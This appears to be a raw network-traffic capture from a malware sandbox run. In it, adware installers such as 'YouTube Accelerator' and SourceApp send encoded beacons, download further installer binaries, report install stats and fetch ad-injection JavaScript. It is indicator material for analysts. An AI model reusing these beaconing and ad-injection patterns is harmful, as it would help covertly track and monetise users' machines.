GET /12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERLM8BMMVZLFq8mxw368usKjpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywAlKs1btm3k3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSPXprHDSKQ3 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERJL7ZfSEVa6OLwu3ZTH0aqUjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFqCyMz8hNo1f2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RNl_pIP-96HnPymIkJZXYM_BoVElqcImVRdZKrR0HEZUb_kC_aIB0w==

....

GET /12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERLciXFAHp4HlL1HtSmBYQHI0JQd5HxgIXcyS07UkHqNsveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12360.ashx?e=jLYfrKkKGYNxQPEjIVQx7tQgR4O/WCIWjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc9KpcmBYCD2f3Wq7IsWCDz7DIW4ndCjjzLIrzGgLqVJ0yETj4nts NPl9AOtqZ1I9ymF904v4t2DPC6dAY858ubZ77fQQiIEIJiFIrigjTmtvfxcWiEOxKziLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WUzEdLV0pRHWkY1XsPhxRGVfY1QZoRT V5dJv6lxF0FU9bdFv jWZxt HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:50 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MD4gUH5AlNLHHdKEUnP5VXjx-ycbALgewtc0nTIO6LtU3NS2jFscIg==

....

GET /12360.ashx?e=b1dRW7RxYKcVc8R/SQUwTHFA8SMhVDHu1CBHg79YIhaMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPMsivMaAupUnTIROPie2z40yolAiAYcC0Bjgb6v7cXpPvdsCy08w98PwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NNnu3a6Y9H57FLXnP7zC2IXqHzjN4XYbWtpcV1qXRBzPKj-wf8ws0A==

....

GET /12360.ashx?e=d/UISSlWdlNxQPEjIVQx7tQgR4O/WCIWjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc9KpcmBYCD2f3Wq7IsWCDz7DIW4ndCjjzLIrzGgLqVJ0yETj4nts NMqJQIgGHAtAY4G r 3F6T7BXBQ6luuzaAE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuy1ry0IfGWS07IffXCCIuDgNFu/dheDDCy5ra8N yvvOJaEpB0Im5dyrBnDEBfh98= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZqYfN9ulM8ZL611W9EN0iMyFdsagL8KdBdOj9OAVZZYdYHCKnKrAEQ==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:13 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 2d2eb60d814c8202a5a69fa957cd56
9d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: ZqYfN9ulM8ZL611W9EN0iMyFd
sagL8KdBdOj9OAVZZYdYHCKnKrAEQ==......

GET /12360.ashx?e=657cd9m3NQGxXIjuhqBZpaKMB9u4RTbHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh85i6K0mlT5TW6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMwmitO34V/86C1h8Hfn1ha4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVPW3Rb/o1mcbQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 16ciRC7zhtPZaphGpZbpn8k462q7iVxvZdZ61PRcNjmZbiH85QN7UQ==

....

GET /12360.ashx?e=4OQPU60dJ1r0g02wEBPEIs8q2G10cZF9QF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3L2dvkIonkcUMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOeeTfIsgvSooK0SVeSAj4Vj/u6z7Uinv/hsm3hTIndG2Ogw5PM1v4VCcEv 7r5M40TRSDnJgw6QhBQC drCF7eF5GrYQssP4wOoVp8udoc6545aVH6/7KX12M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84mvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolCRcTVXkFsGRg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2pJe0rrq_L0XGfXl1DP_GFEaeWGok301-RECZIPcJ_RTZD08tAkUnw==

GET /app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRooO1eWHRXrJgAXeBxis9tbMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5bHiD3ocgsXa8rJULUDCmwLTVLrY3WnjaAfnYFBLZUOG9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Tugk9ujcDbdil69321W5yp2f ofqKPWEn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:23 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 10 Feb 2015 03:59:23 GMT..Content-Length: 0..

GET /sd?is=sm HTTP/1.1

Range: bytes=364525-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 364525-583239/583240

Content-Length: 218715

Connection: keep-alive
m.`.>A.......3.M)....:..&;6..a..L.......I..Y.....&.-U[.5.....t:w...
5W..j.]bS.^...)..3`.......QK....1....8...A..V.].%..Aqu.Y.n6.|xJ...*...
O .Hi.!..b-.j......X.G.X..b.K5.._....}..~.'.....#..x6@..'J...x}.A....T
^.y.....f. ...e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s......6.`.`3.]#
^........!.6..-...g..W<..CT()K......._FR..MtGd{..eT.#o..*4PKQ.Sb.n.
/q.cQ>.).o1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)8..... .....\/
.kM....Z7.."..d"..P....].. ........K..u..:.....v.d........*..Zyr..:..v
A@.{Ru.g......v.....:L..F..17..!e*i.d.b.?<B9B\O.....U.#..^s..c/u...
...._k......%...%...B{".....<......''..'...?...N.....erW.`.........
2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.3......rr\....
.A..}.[..%..H.b...14..M..3...ljTG.9.1....t...YRy.-.v.34......W.Qx.g..K
[email protected]...,...............(..x......t)g..%.Fm.& ......U.:.
........=..l4.......6........=f/.o...k. bY..YL....$a8.".....));._...J.
......'H'~.....x.[4..i.>Lwe=Tx.V...K.......6...lK..O..!.W.w...q..$3
1m.....z@<y-<.........&...N..s\4h.3.R..Y........F....Ze.KKv.....
.....N..*1|K.\l.>..........I..........0k.U..q..!=.\...O.......N.gK.
.C.IPw.}E...2..4r...,kJ... .B.]c.."....q.'.P.*[email protected]..&.X}.
..(.!.......T....tK..gc.0.a.<.J.....6c.)\.........b...o.'..A..k'...
..M....?.!m..Y65........w..-.......=.CO.`...RR..w.=.9G..{8]..j..MXJ<
;..OU....|...'......m,..e..o:..............)".....V.......*....e..: ..
......i..iz|.U..8 U...f...,.&...V...Cm.'.>/.9(..<k.B.'A,./...V?8
z....3.E...H...[.....{.T...pg..^9Ic..X5....N.....$W...N..".~..".6.<<< skipped >>>

GET /crls/secureca.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.geotrust.com


HTTP/1.1 200 OK

Server: Apache

ETag: "35ea5eab3db6e698b046544372e581b5:1423539616"

Last-Modified: Tue, 10 Feb 2015 03:40:16 GMT

Date: Tue, 10 Feb 2015 04:00:28 GMT

Content-Length: 856

Connection: keep-alive

Content-Type: application/pkix-crl

0..T0...0...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equ
ifax Secure Certificate Authority..150210032300Z..150220032300Z0..<
0....X...140427081922Z0....v...140618150003Z0........140429180917Z0...
.....140709194633Z0........140416233935Z0........140521155053Z0.....).
.140617185515Z0....Bf..120627171053Z0.....3..020515130611Z0.....#..140
606204021Z0........100729164439Z0........140606222139Z0....%...0205141
81157Z0........140725020038Z0........100729164732Z0....M\..14043000044
2Z0.....-..140617185011Z0....uU..150118022133Z0....V...140624123102Z0.
.......120627171025Z0........100301134531Z0........140618143256Z0.....
...120627171017Z0.....>..140711125531Z0....[...100730213120Z0....j.
..140226123519Z0...*.H............$.5..l#..Q...ZD.V..5.."..3..2x......
[email protected]\...y.o.5.L)<....6g....b>.4.nj7./.`..#
.,^v...2..Q1..l....'|......xHTTP/1.1 200 OK..Server: Apache..ETag: "35
ea5eab3db6e698b046544372e581b5:1423539616"..Last-Modified: Tue, 10 Feb
 2015 03:40:16 GMT..Date: Tue, 10 Feb 2015 04:00:28 GMT..Content-Lengt
h: 856..Connection: keep-alive..Content-Type: application/pkix-crl..0.
.T0...0...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equif
ax Secure Certificate Authority..150210032300Z..150220032300Z0..<0.
...X...140427081922Z0....v...140618150003Z0........140429180917Z0.....
...140709194633Z0........140416233935Z0........140521155053Z0.....)..1
40617185515Z0....Bf..120627171053Z0.....3..020515130611Z0.....#..14060
6204021Z0........100729164439Z0........140606222139Z0....%...02051

<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.43 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.43 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=437430-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 437430-583239/583240

Content-Length: 145810

Connection: keep-alive
I...OXz.E..r....L....5..`....#.*Y.'-.U....>....*ks..d...#.@..%p....
oG..._...<.....M..#...............{......q7...,.bOd.........s..8..&
lt;..C...e.........q..^1...dR#M..3.=.....j;R... ...)....%.-..B..6.X...
....5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;...uD.G.2.-L....R.[4..P
 .!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O.....T...1...5'.^.).O....
.:.."...tZ.s..........~e@..........%....F...."nyw%l.4...O.o{....Pe..d.
..Y...m.E.......Y..!...g..K...znz....5....l.-s.......6ONw......,.23.`.
.zP$cM..n",^./L%p./....W.hol..p)..(.'..B4.F.."...'.Bp....OB.V......\..
...._..o.`.. ........*ZGA..2K........Y.s5P.aGD.._,.. ....G...a/[.k..j.
L.........*i".Q5;..&..D..f.gh\......c....>...|..c.K..h....4 .U.....
7~....l......BQ<......d_.&...!......nEC..S..^.Sp...m........ _'_...
...3.><[email protected].......^.~....v.u.#4..3J...rrh...w....
..S.....J<.l...fDu........p.3.""(1.M.:. ..t\2.{p.=.*/c...juSR.q.]..
..d...r.{[email protected].;.h....=.Xx..Z..$.5....3v..
v..!..~W.c.G....)yL.^.....w.2...`....;\....H.}z{.....O ..B..!4:.%.b;.A
..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z...o...N.p...h....oj....A..Y.\...
...<....{.....E..........S.....QR.~.D.ye&:.`...........W.."].......
..?g...nb...S fk.p7...Zr-Y..#H1._&..c.....#3.vS.......=...$.E......A .
.Q.......I[...oCSV....Y. -..O....J.......mOT...]i....A../..ZqJ.u.).F..
mF$@#..w87...S`..OV..........n.VrD...d7.....4..n(Z).zD....<..P...6.
.[.....7.P..|./..h.......[|.8..*.0...k......djY...7......o&/....n/.d..
.......Gw.QtikjM"..x...g.&....~{k.Wb...!.M.N.N._.=%{.X*C...D.R....<<< skipped >>>

GET /script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.7423836458214292&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&dm=VVV.youtubeaccelerator.com&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&um=Powered by Shopper-Pro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive

Cookie: __cfduid=d364e07591f1bab6f404256be3eb68e811423540822


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:23 GMT

Content-Type: application/javascript

Content-Length: 16904

Vary: Accept-Encoding

Etag: "4abd7cd20e147b030b40090c883b2e729d80303a"

Cache-Control: public, max-age=360

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

Set-Cookie: visadd_gry_lock_count=--; Path=/

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.visadd.texts = {.flip_back: 'Flip Back'.}.visadd.settin
gs = {.monitor_url_change: false,strip_max_images: -1,use_strips: fals
e,lock_count_time: 3600000,shopping_agresive: false,validate_blacklist
: true,layer_style: '.img.visadd_indic{    height: 35px;    position: 
absolute;    left: 5px;    top: 5px;    width: auto;    z-index: 999; 
   background: none repeat scroll 0 0 transparent !important;    borde
r: 0 none !important;    box-shadow: none !important; }\....indic_hove
r_only { display:none }\....indic_hover_only: hover { display:block }\
....visadd_layer { display: none;  position: absolute; z-index: 214748
3647; }\....visadd_image_container{    float: left;.margin: 0 10px 0px
 0 !important;    height: auto;    overflow: hidden;} \....ab_visadd_i
mage_container{    float: right !important; .margin: 0 !important;    
} \....right_visadd_image_container{    float: right !important; .marg
in: 0 0 0 10px !important; } \....ab_visadd_image_wrap{    float: left
;.margin: 0 10px 2px 0 !important;    max-height: 200px;    height: au
to;    overflow: hidden;    position: relative;}\....ab_visadd_image_w
rap img {.padding: 0 !important;.border: none !important; margin: 0 !i
mportant; }\....visadd_image_credit { .width: 100%;.z-index: 999;.marg
in-top: 3px;}\....visadd_image_credit a:hover{    color: #ccc;    disp
lay: block;    font-size: 11px;    text-align: center;    text-decorat
ion: none;    float:left;    padding-right: 10px;       text-shadow: 1
px 1px 1px #e1e1e1;}\....visadd_image_credit a{    color: #ccc;   <<< skipped >>>

GET /internal/reporter?v=2&format=1&ai=989&subid=date&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&dm=VVV.youtubeaccelerator.com&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&um=Powered by Shopper-Pro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: a.visadd.com

DNT: 1

Connection: Keep-Alive

Cookie: __cfduid=d364e07591f1bab6f404256be3eb68e811423540822; visadd_gry_lock_count=--


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:23 GMT

Content-Type: application/javascript

Content-Length: 23

Vary: Accept-Encoding

Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"

Cache-Control: public, max-age=86400

Set-Cookie: tid=i-5222935301740571423540823.57173; Path=/

Set-Cookie: uid=i-5222935301740571423540823.57174; expires=Fri, 07 Feb 2025 04:00:23 GMT; Path=/

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
function donothing(){};HTTP/1.1 200 OK..Date: Tue, 10 Feb 2015 04:00:2
3 GMT..Content-Type: application/javascript..Content-Length: 23..Vary:
 Accept-Encoding..Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"..Ca
che-Control: public, max-age=86400..Set-Cookie: tid=i-5222935301740571
423540823.57173; Path=/..Set-Cookie: uid=i-5222935301740571423540823.5
7174; expires=Fri, 07 Feb 2025 04:00:23 GMT; Path=/..Set-Cookie: a.vis
add.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/..function dono
thing(){};..

GET /analytics.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 02:58:04 GMT

Expires: Tue, 10 Feb 2015 04:58:04 GMT

Last-Modified: Fri, 16 Jan 2015 00:55:08 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11479

Alternate-Protocol: 80:quic,p=0.02

Age: 3726

Cache-Control: public, max-age=7200
...........}iw.;..w..P.vW..2.NN.....'.I...,.$cb....1....gK.*0....^}.jk
...,%<..T......B..H....j....G...p`..8I.{.=...L&&{.;7.i&....N...;oT(
E...M6.....tlN.t..8.K....P.5t.V%[email protected]...$8..:[email protected].
.jldf...9.4.=.R.^..{.4..4...AS#Ip:.P.=*6..(.0..C%1.@......^....#3..i..
V.`[email protected].'4..0..a.ZL..M8.g4..l..(9.......N..)wA..5.......{....4...(.
%...\.R.=*........?...$.#....A7...I...F*....0..Q.>..~.....Q...4.c.N
 .Q...<.y....=.....4..F..@.%:..ue6....M{$.T...M .'..a..~Am._./.....
..5...|...&;.M..D.f...yW..ubZ..e...Tjsn.B'.sIm.;.%J^hT.....t..l:....&g
t;.T.j*..FM..gZ..2...za.2..M..S.d8..d.P...S..#..ZS.J...4U...m.I.g6.Tu.
6..4iw..[.l...0m.....e6.Ghk..[}wW..~Tj%].;.{........x.................
.2U......g...p.s<....W..j....{..|.... V.r.GX.Y...;.i.y'.....O0...1&
..c4j....f.P.l........lf.AA.`..O..8[Y.=L........u.*..7vR6<.-.~..-.k
>.?W5t.b..wj.D..o.wC....-?U...4.vF..........Z.%.D...LV.#[..Vu..o...
...u..<uw. [email protected]._..'uJ..Q..d.../.\LK.D7s.j...I(...M
U..0..eF~.X...p.Ai......%4........O.....M230..mP..5%*..5(3..:......0..
P.......MtC..3....\..m.xl...f.....#....6...>K..K...@.')vM&j..e.h..,
(.U..C^[email protected]:.*&.E....d...q......{@D.h.].4u.C..i..?=4t.M.. .
|...vG.4.F.......N.Ig.......$.....;....\^^.AD..i'.!......I.>1...7.?
....V.x.xs...I...:.=.k...f.o..........D.f..o..I....J"u..6in.C...u?....
8.s.k.b...ts}}0.. ..Q:.....d..|.X...TB'..R|..F..j].<:CD....!.L..j.t
...P.....O{LH.F.%...?..DDS.z...?1w....S.I..P~T.#.....R......?. RLh....
R..1...=jy.....j.jm.y.8u.(...}..%........F....&}..r..`..k.t..,...V<<< skipped >>>

GET /r/collect?v=1&_v=j32&a=2122274577&t=pageview&_s=1&dl=http://VVV.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=284198992&cid=1848384720.1423540812&tid=UA-42656881-1&_r=1&z=356763116 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 10 Feb 2015 04:00:11 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Tue, 10 Feb 2015 04:00:11 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
